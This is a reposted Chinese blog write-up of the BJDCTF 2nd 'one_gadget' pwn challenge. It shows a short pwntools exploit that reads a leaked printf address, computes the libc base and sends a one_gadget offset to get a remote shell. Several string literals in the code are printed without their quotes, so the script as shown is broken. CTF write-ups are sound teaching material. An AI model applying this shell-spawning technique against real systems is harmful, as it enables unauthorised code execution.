首页 > 其他 > 详细

[BJDCTF 2nd]one_gadget

时间:2020-03-28 16:53:16      阅读:177      评论:0      收藏:0      [点我收藏+]

直接输出了printf的地址

技术分享图片

 计算一下libc的基址,然后输入one_gadget

from pwn import *

#r=process(‘./one_gadget‘)
r=remote(node3.buuoj.cn,26604)
libc=ELF(./libc-2.29.so)

r.recvuntil("0x")
print_addr=int(r.recvn(12),16)
print(print_addr:, hex(print_addr))
libc_base=print_addr-libc.symbols[printf]

one_gadget =[0xe237f,0xe2383,0xe2386,0x106ef8]
shell=libc_base+one_gadget[3]

r.recvuntil(Give me your one gadget:)
r.sendline(str(shell))

r.interactive()

 

[BJDCTF 2nd]one_gadget

原文:https://www.cnblogs.com/gaonuoqi/p/12587904.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!